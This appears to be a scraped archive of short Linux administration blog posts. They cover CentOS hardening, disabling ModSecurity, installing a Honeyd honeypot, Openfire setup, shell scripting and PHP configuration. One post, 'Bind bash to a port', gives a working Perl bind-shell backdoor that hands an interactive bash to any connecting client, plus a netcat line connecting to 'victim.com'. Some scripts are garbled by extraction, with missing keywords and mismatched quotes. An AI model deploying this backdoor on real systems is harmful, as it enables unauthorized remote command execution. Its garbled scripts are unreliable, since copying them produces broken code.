unneeded services

Step 1: Now we will remove all software groups, to get Centos to a minimum

Step 1.1: Run grouplist to see what software groups that are installed:
yum grouplist
Step 1.2: Remove all groups that are installed EXCEPT “Yum Utilities”
yum groupremove "GroupName"
Step 2: Lets disable unneeded services:
chkconfig anacron off
chkconfig atd off
chkconfig auditd off
chkconfig cpuspeed off
chkconfig kudzu off
chkconfig netfs off
chkconfig ip6tables off
chkconfig smartd off
chkconfig pcscd off
chkconfig cups off
chkconfig mcstrans off
chkconfig nfslock off
chkconfig rpcgssd off
chkconfig rpcidmapd off
chkconfig portmap off
chkconfig nfs off

Step 3.1: Use this command to check what services that are setup to run
chkconfig --list | grep on
Step 3.2: You should have these services running:
anacron, crond, iptables, irqbalance, kudzu, mcstrans, network, readahead_early, restorecond, sshd, syslog, sysstat, yum-updatesd

Step 4: Lets upgrade Centos to the newest, and install some tools:
yum -y upgrade
yum -y install wget bzip2 unzip zip fileutils gcc gcc-c++ ncurses-devel pam-devel libxml2-devel libxslt-devel
yum -y install binutils autoconf automake libtool zlib lsof man man-pages mlocate quota

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yum -y install sendmail rsync sysstat vixie-cron bzip2-devel m4 flex byacc wget which

Step 5: Install and syncing NTP time service:
yum -y install ntp
chkconfig --levels 235 ntpd on
ntpdate 0.pool.ntp.org
/etc/init.d/ntpd start

Step 6: Install EPEL Repo, giving access to more software thats not in the Centos base. More info here
(32Bit) rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-3.noarch.rpm
(64Bit) rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/x86_64/epel-release-5-3.noarch.rpm

Step 7: Install RPMForge Repo, giving access to more software thats not in the Centos base. More info here
(32Bit) rpm -Uhv http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm
(64Bit) rpm -Uhv http://apt.sw.be/redhat/el5/en/x86_64/rpmforge/RPMS//rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm

Step 8: This will change minimum password lenght to 8, if you want higher minimum lenght, change the number.
sed -i s/PASS_MIN_LEN.*/PASS_MIN_LEN\ 8/ /etc/login.defs
Step 9.1: Changing server hostname:
nano -w /etc/sysconfig/network
Step 9.2: Find HOSTNAME= and change it to etc srv01.maxisecure.com or something else of your choice:


Step 9.3: Now a reboot:
shutdown -r now

thueserve 728x90 unneeded services
Posted in Linux | Tagged , , , | Comments Off

Howto: disable Mod Security for an account

How to Turn off Mod Security OR How to disable Mod Security for an account?

Mod_Security for an account is turned off/disabled on depending upon the version of Mod_Security i.e. it can be disabled in .htaccess file in modsecurity1 and have to disable it in VirtualHost entry of a domain in modsecurity2. Apache 1.x supports Mod Security1 and Apache 2.x supports

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Mod Securiry2. To find out the version of Apache, execute

httpd -v

Mod Security1:

Create a .htaccess file in an account

vi .htaccess

and insert the following:

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off

Mod Security2:

You cannot disable mod security in a .htaccess file here (it’s setup this way to enhance security). You have to turn off mod security in the VirtualHost of the domain in the Apache configuration file. Edit the configuration file:

vi /etc/httpd/conf/httpd.conf

scroll down to the VirtualHost of the domain and place the following lines:

<IfModule mod_security2.c>
SecRuleEngine Off

Save the configuration file and restart the Apache service.

service httpd restart

Posted in Apache, Security | Tagged , , , , , , | Comments Off

Installing Honeyd 1.5c And Arpd 0.2 Under CentOS 5 (With gcc 4.x)


Traditionally, information security has been primarily defensive. Firewalls, Intrusion Detection Systems, encryption; all of these mechanisms are used defensively to protect one’s resources. The strategy is to defend one’s organization as best as possible, detect any failures in the defense, and then react to those failures. The problem with this approach is it [is] purely defensive, the enemy has the initiative. In computer terminology, a honeypot is a trap set to detect, deflect, or in some manner counteract attempts at unauthorized use of information systems. Generally it consists of a computer, data, or a network site that appears to be part of a network, but is actually isolated and monitored, and which seems to contain information or a resource of value to attacker.

This tutorial shows how you can compile and install honeyd 1.5c on CentOS 5.5 server. I do not issue any guarantee that this will work for you!


Preliminary Note

In this tutorial I will use the following hosts:

* Host Server :
* Virtual Honeypot 1 :
* Virtual Honeypot 2 :

Here’s a little diagram that shows our setup:

Host IP=
| |
+–+–+ +–+–+
| hp1 | | hp2 |
+—–+ +—–+
Virtual Virtual
Honeypot1 Honeypot2



You need to remove libdnet and libevent packages otherwise you wont be able to compile honeyd.(See note)

yum remove libevent libevent-devel libdnet libdnet-devel
yum install autoconf gcc python-devel

Note: Don’t use latest version of libevent and libdnet because of some inconsistency in honeyd


Download required packages

You need to download few packages before installing honeyd.

cd /tmp
wget http://monkey.org/~provos/libevent-1.3a.tar.gz
wget http://space.dl.sourceforge.net/project/libdnet/libdnet/libdnet-1.11/libdnet-1.11.tar.gz
wget http://www.citi.umich.edu/u/provos/honeyd/arpd-0.2.tar.gz

Important Note: Don’t download latest version of libevent and libdnet because of some inconsistency in honeyd.


Install required packages

cd /tmp
tar -xvf libevent-1.3a.tar.gz
cd libevent-1.3a
make install

cd /tmp
tar -xvf libdnet-1.11.tar.gz
cd libdnet-1.11
make install


Download Arpd updated packages

For arpd-0.2 to compile under gcc 4.0.0 the file arpd.c must be modified. Replace it with the one from the Iran Honeynet Project web site , then compile and install.

cd /tmp
tar -xvf arpd-0.2.tar.gz
cd arpd
wget http://www.honeynet.ir/software/honeyd/arpd.c
make install

Run arpd

Arpd is a daemon that listens to ARP requests and answers for IP addresses that are unallocated. Using Arpd in conjunction with Honeyd, it is possible to populate the unallocated address space in a production network with virtual honeypots.

/usr/local/sbin/arpd ’′


Install Honeyd 1.5c

cd /tmp
wget http://www.honeyd.org/uploads/honeyd-1.5c.tar.gz
tar -xvf honeyd-1.5c.tar.gz
cd honeyd-1.5c
make install

Configure Honeyd

cd /usr/local/share/honeyd
cp -v config.ethernet honeyd.conf
vi honeyd.conf

Some configurations that outline features available in Honeyd.org Web Site.

This is

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sample configuration:

create default
set default default tcp  action block
set default default udp  action block
set default default icmp action block
create honeypot-template
set honeypot-template  ethernet "00:22:FA:cc:dd:ee"
set honeypot-template  personality "Microsoft Windows XP SP2"
set honeypot-template  uptime 1234567
set honeypot-template  default tcp  action reset
set honeypot-template  default udp  action reset
set honeypot-template  default icmp action open
add honeypot-template  tcp port 135  open
add honeypot-template  tcp port 139  open
add honeypot-template  tcp port 445  open
add honeypot-template  tcp port 3389 block
add honeypot-template  tcp port 53 proxy
bind honeypot-template
bind honeypot-template

Important Note: The IP Addresses should be in the same network segment with the hosting machine, or you should modify the routing table of your router to allow the packets destined to those IP Addresses to reach your honeyd hosting computer.


Configure Linux firewall

Modify the rules of your firewall to accept packets for the IP Addresses defined in the honeyd’s configuration file. You should have something like this:


Run Honeyd

/usr/local/bin/honeyd -d -f /usr/local/share/honeyd/honeyd.conf -p /usr/local/share/honeyd/nmap.prints -x /usr/local/share/honeyd/xprobe2.conf -a /usr/local/share/honeyd/nmap.assoc --disable-webserver ''

Test Honeyd

Run this test only from an IP Addresses outside host machine.

nmap -T4 -A -v


Iran Honeynet Project: http://www.honeynet.ir/
The Honeynet Project: http://www.honeynet.org
Honeypot: http://en.wikipedia.org/wiki/Honeypot_(computing)
Honeyd Virtual Honeypot: http://honeyd.org/
CentOS: http://www.centos.org/

Posted in Linux | Tagged , , , , , | Comments Off

Bind bash to a port

a simple perl script to bind bash to a port:

use Socket;
my $port = shift || 2345;
my $proto = getprotobyname('tcp');
($port) = $port =~ /^(d+)$/ or die "invalid port";
socket(S,PF_INET,SOCK_STREAM,$proto) || die "socket: $!";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,pack("l",1)) || die "setsockopt: $!";
bind(S,sockaddr_in($port,INADDR_ANY)) || die "bind: $!";
listen(S,3) || die "listen: $!";
my $shell="/bin/bash -i";
while(1) {
if(!($pid=fork)) {
die "Cannot fork" if (!defined $pid);
open STDIN,"<&C";
open STDOUT,">&C”;
open STDERR, “>&C”;
exec $shell || die print C “Cant execute $shelln”;
close C;
exit 0;

And then

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you can use netcat to connect it:

nc -vv victim.com 2345

Posted in Linux, shell script | Tagged , , , , | Comments Off

Rename files and folders to lower case letters

Here’s a simple bash script that will help in renaming files and folders with uppper-case to lower-case letters.

Make sure you have a backup and test it with a small batch. Also read the whole comments section below if you have spaces in your file names.


# Filename: rename.sh
# Description: Renames files and folders to lowercase recursively
#              from the current directory
# Variables: Source = x
#            Destination = y

# Rename all directories. This will need to be done first.

# Process each directory’s contents before the directory  itself
for x in `find * -depth -type d`;

  # Translate Caps to Small letters
  y=$(echo $x | tr '[A-Z]' '[a-z]');

  # check if directory exits
  if [ ! -d $y ]; then
    mkdir -p $y;

  # check if the source and destination is the same
  if [ "$x" != "$y" ]; then

    # check if there are files in the directory
    # before moving it
    if [ $(ls "$x") ]; then
      mv $x/* $y;
    rmdir $x;



# Rename all files
for x in `find * -type f`;
  # Translate Caps to Small letters
  y=$(echo $x | tr '[A-Z]' '[a-z]');
  if [ "$x" != "$y" ]; then
    mv $x $y;

exit 0
Posted in shell script | Tagged , | Comments Off

Support for 32 bit development libraries on 64 bit CentOS

To support C/C++ 32 bit development libraries on CentOS-5.2 x86_64 arch the below devel packages are required:

yum install glibc-devel.i386 libstdc++-devel.i386

Below is example output of multilib

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support for gcc:

$ gcc -print-multi-lib; gcc -print-multi-os-directory; gcc -print-multi-os-directory

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Posted in Linux | Tagged , , | Comments Off

Shell Arithmetic

Use to perform arithmetic operations.

expr op1 math-operator op2
$ expr 1 + 3

expr 2 - 1
$ expr 10 / 2
$ expr 20 % 3
$ expr 10 \* 3
$ echo `expr 6 + 3`

expr 20 %3 – Remainder read as 20 mod 3 and remainder is 2.
expr 10 \* 3 – Multiplication use \* and not * since its wild card.

For the last statement not the following points

(1) First, before expr keyword we used ` (back quote) sign not the (single quote i.e. ‘) sign. Back quote is generally found on the key under tilde (~) on PC keyboard OR to the above of TAB key.

(2) Second, expr is also end with ` i.e. back quote.

(3) Here expr 6 + 3 is evaluated to 9, then echo command prints 9 as sum

(4) Here if you use double quote or single quote, it will NOT work
For e.g.
$ echo “expr 6 + 3″ # It will print expr 6 + 3
$ echo ‘expr 6 + 3′ # It will print expr 6 + 3

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How To Set Up An Openfire Instant Messaging Server On CentOS 5.6

1.0 Introduction

In this current changing world of unified communication, organizations and support teams require some form of communication to improve efficiency and possibly customer satisfaction. In this document, we will look at how to setup an Instant Messaging server on CentOS 5.6 using a free and open source XMPP based IM server. To continue we can say the following about XMPP:

Extensible Messaging and Presence Protocol (XMPP) is an open-standard communications protocol for message-oriented middleware based on XML (Extensible Markup Language).[1] The protocol was originally named Jabber,[2] and

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was developed by the Jabber open-source community in 1999 for, originally, near-real-time, extensible instant messaging (IM), presence information, and contact list maintenance. Designed to be extensible, the protocol today also finds application in VoIP and file transfer signaling.
Source: http://en.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol

Now we have had enough of the IT jargon above, you can study in great details the protocol specification later.


1.1 Assumptions

This document assumes that you have some knowledge about using Linux and specifically the CentOS Linux environment. This guide also assumes that you have read and understood how to setup a perfect CentOS server.


1.2 CentOS Installation and the perfect server

Mr Falko Timme has done a great job writing howtos for this flavor of Linux. You can find links to setting up a perfect CentOS 5.6 server http://www.howtoforge.com/perfect-server-centos-5.6-x86_64-ispconfig-3 or http://www.howtoforge.com/perfect-server-centos-5.6-x86_64-ispconfig-2 since we will be omitting the installation of CentOS here and focusing on setting up OpenFire.


2.0 OpenFire

According to igniterealtime.org, Openfire is a real time collaboration (RTC) server licensed under the Open Source GPL. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire offers rock-solid security and performance.

We should head over to http://www.igniterealtime.org/downloads/index.jsp and download OpenFire by clicking on the Linux tab and selecting the .rpm version since we are running CentOS. We will also download a free IM client also developed by the developers of Openfire called Spark. On the download page, click on Linux and select the .rpm version or click on the Windows tab and select the .exe version assuming you have a mixed or hybrid environment.

download Screen How To Set Up An Openfire Instant Messaging Server On CentOS 5.6

Download Page


2.1 Installing OpenFire

Copy the .rpm file for OpenFire and issue:

rpm -Uvh openfire-3.7.0-1.i386.rpm

This command should install OpenFire which will listen on port 9090. Now open a web browser and point to http://{OpenFire_Server_IP}:9090 which should take you to the installation screen. Follow all the default options and it should take you to the Login screen shown below:

Login How To Set Up An Openfire Instant Messaging Server On CentOS 5.6

Login Page

dash How To Set Up An Openfire Instant Messaging Server On CentOS 5.6

Administrator Dashboard

Users How To Set Up An Openfire Instant Messaging Server On CentOS 5.6

User Summary


2.2 Configuring Spark Client

When you download the Spark client, the installation will be straight forward at least. Our OpenFire installation accepts open registration meaning anybody can register or setup an account.

To configure the Spark Client, simply click on the account and fill in the following:

Username: Put your desired username here e.g muffycompo
Password & Confirm Password: Put your desired password and confirm it here e.g h4rds3cr3t
Server: Put your OpenFire Server IP here or domain if you are using

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a DNS infrastructure

IM Reg How To Set Up An Openfire Instant Messaging Server On CentOS 5.6

Spark User Account Setup Page

IM Clients How To Set Up An Openfire Instant Messaging Server On CentOS 5.6

Note: You can use any IM client that supports XMPP to sign up with your OpenFire setup.

So there we have it people, if you have any questions or comments, please feel free to contact me muffycompoqm AT gmail.com or better still, go to the OpenFire Community Section.


3.0 Conclusion

If you wish to take this guide further and implement this in your environment, you can check out the OpenFire Wiki or Documentation for advanced features like Using External databases, Clustering etc. I will like to thank the original authors of the individual software used and I also hope this document will be of help to anyone wanting to setup an Instant Messaging server with Enterprise functionalities.

Posted in Linux | Tagged , , , | Comments Off

How to set OR enable Timestamp for the previously executed commands in Linux?

Linux provides a command called

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“history” to view the previously executed commands on shell. By default, the “history” command display only the commands that were executed but not the date and time when they were executed. To display the time OR the date when the previous commands were executed on shell, you need to set the “HISTTIMEFORMAT” variable.

So, in order to check the date and time of previously executed commands in Linux, set the “HISTTIMEFORMAT” variable by executing the command:

    # export HISTTIMEFORMAT=”[%F] [%T] “

You can also insert the above line at the end of the .bash_profile file

# vi /root/.bash_profile

Once you save the file, open a new SSH session and execute the ‘history’ command to view the timestamp of the executed commands.

For example:

root@server [~]# history
1068  [2011-12-10] [07:17:04] ps -auxf
1069  [2011-12-10] [07:17:06] top c
1070  [2011-12-10] [07:17:35] ll
1071  [2011-12-10] [07:37:51] ls -la
1072  [2011-12-10] [07:41:37] cat /root/.bash_profile
1073  [2011-12-10] [07:41:47] cd

The commands in the above output is just an example.

Posted in Linux | Tagged , , , | Comments Off

[Notice]: unserialize() [function.unserialize]: Error at offset

The “function.unserialize” error occurs while installing Kayako or any other 3rd party application when the “magic_quotes_gpc” parameter is enabled.

By default the value

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of “magic_quotes_gpc” is On in the server side PHP configuration and thus you receive the following error message:

[Notice]: unserialize() [function.unserialize]: Error at offset 5 of
41 bytes (includes/functions.php:82)  UNSERIALIZE FAILED:
[Warning]: Cannot modify header information - headers already
sent by (Cookie/class.SWIFT_Cookie.php:157)

The “magic_quotes_gpc” can be disabled server wide ( in /etc/php.ini), however, if you want to keep it enabled server side, it can be disabled for the specific account as well either by using .htaccess (if server is non-SuPHP) i.e. placing the following line

php_value magic_quotes_gpc 0

OR by copying the server side php.ini file under the specific account or directory the application is downloaded

cp /etc/php.ini /home/user/public_html/

and turn off magic_quotes_gpc in new php.ini file (in case SuPHP is enabled).

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